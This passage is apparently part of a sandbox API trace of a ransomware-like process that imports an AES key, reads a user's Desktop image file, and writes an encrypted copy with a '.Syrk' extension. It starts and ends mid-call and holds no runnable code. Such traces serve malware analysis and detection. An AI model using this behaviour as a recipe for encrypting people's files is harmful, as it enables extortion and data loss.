(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0195.214] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.214] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0195.214] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0195.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0195.214] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.215] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0195.215] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0195.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0195.215] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.215] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0195.215] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0195.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0195.215] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.215] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0195.215] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0195.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0195.216] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.216] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0195.216] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0195.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0195.216] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.216] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0195.216] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0195.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0195.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0195.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0195.217] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.217] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0195.217] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0195.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0195.217] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.217] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0195.217] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0195.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0195.217] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.218] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0195.218] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0195.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0195.218] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.218] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0195.218] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.218] EtwEventActivityIdControl () returned 0x0 [0195.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0195.219] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.219] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0195.219] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0195.221] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4cee0) returned 1 [0195.264] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x2393f28*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c69180) returned 1 [0195.264] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0195.265] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.265] EtwEventActivityIdControl () returned 0x0 [0195.266] EtwEventActivityIdControl () returned 0x0 [0195.266] EtwEventActivityIdControl () returned 0x0 [0195.272] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp")) returned 0x20 [0195.273] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp")) returned 0x20 [0195.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0195.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", lpFilePart=0x0) returned 0x3e [0195.274] EtwEventActivityIdControl () returned 0x0 [0195.274] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.275] EtwEventActivityIdControl () returned 0x0 [0195.275] EtwEventActivityIdControl () returned 0x0 [0195.275] EtwEventActivityIdControl () returned 0x0 [0195.277] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0195.277] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", lpFilePart=0x0) returned 0x3e [0195.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0195.277] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0195.277] GetFileType (hFile=0x44c) returned 0x1 [0195.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0195.278] GetFileType (hFile=0x44c) returned 0x1 [0195.278] EtwEventActivityIdControl () returned 0x0 [0195.278] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.279] EtwEventActivityIdControl () returned 0x0 [0195.279] EtwEventActivityIdControl () returned 0x0 [0195.279] EtwEventActivityIdControl () returned 0x0 [0195.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0195.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk", nBufferLength=0x44, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk", lpFilePart=0x0) returned 0x43 [0195.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0195.281] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0195.282] GetFileType (hFile=0x45c) returned 0x1 [0195.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0195.283] GetFileType (hFile=0x45c) returned 0x1 [0195.283] EtwEventActivityIdControl () returned 0x0 [0195.283] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x23a5fe0 | out: pbBuffer=0x23a5fe0) returned 1 [0195.284] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0195.284] CryptDuplicateKey (in: hKey=0x5c69180, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c69440) returned 1 [0195.284] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0195.284] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x4, pbData=0x23a7444*=0x1, dwFlags=0x0) returned 1 [0195.284] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x1, pbData=0x23a7410, dwFlags=0x0) returned 1 [0195.285] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.285] EtwEventActivityIdControl () returned 0x0 [0195.285] EtwEventActivityIdControl () returned 0x0 [0195.285] EtwEventActivityIdControl () returned 0x0 [0195.286] EtwEventActivityIdControl () returned 0x0 [0195.287] ReadFile (in: hFile=0x44c, lpBuffer=0x23aa0b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x23aa0b8*, lpNumberOfBytesRead=0x5a2ea0c*=0xde36, lpOverlapped=0x0) returned 1 [0195.290] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23be0d0*, pdwDataLen=0x5a2ea00*=0xde30, dwBufLen=0xde30 | out: pbData=0x23be0d0*, pdwDataLen=0x5a2ea00*=0xde30) returned 1 [0195.291] WriteFile (in: hFile=0x45c, lpBuffer=0x23a6124*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x23a6124*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0195.292] WriteFile (in: hFile=0x45c, lpBuffer=0x23bf0bc*, nNumberOfBytesToWrite=0xce44, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x23bf0bc*, lpNumberOfBytesWritten=0x5a2e9e4*=0xce44, lpOverlapped=0x0) returned 1 [0195.293] ReadFile (in: hFile=0x44c, lpBuffer=0x23aa0b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x23aa0b8*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0195.294] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23cbf74*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x23cbf74*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0195.294] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23cbf90*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x23cbf90*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0195.294] WriteFile (in: hFile=0x45c, lpBuffer=0x23a6124*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x23a6124*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0195.294] CloseHandle (hObject=0x45c) returned 1 [0195.297] CloseHandle (hObject=0x44c) returned 1 [0195.297] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.297] EtwEventActivityIdControl () returned 0x0 [0195.297] EtwEventActivityIdControl () returned 0x0 [0195.298] EtwEventActivityIdControl () returned 0x0 [0195.331] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp")) returned 0x20 [0195.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0195.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", lpFilePart=0x0) returned 0x3e [0195.334] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0195.334] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0195.334] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0195.334] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0195.334] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0195.334] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0195.334] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0195.334] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0195.334] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0195.335] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0195.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0195.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0195.335] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0195.335] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0195.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0195.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0195.335] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0195.335] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0195.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0195.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", lpFilePart=0x0) returned 0x28 [0195.336] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp")) returned 0x20 [0195.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0195.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", lpFilePart=0x0) returned 0x3e [0195.339] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0195.339] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", lpFilePart=0x0) returned 0x3e [0195.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0195.339] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0195.339] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", lpFilePart=0x0) returned 0x3e [0195.340] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0195.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0195.340] CoTaskMemAlloc (cb=0x404) returned 0x5c632d0 [0195.340] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c632d0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0195.340] CoTaskMemFree (pv=0x5c632d0) [0195.342] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp")) returned 0x20 [0195.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0195.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 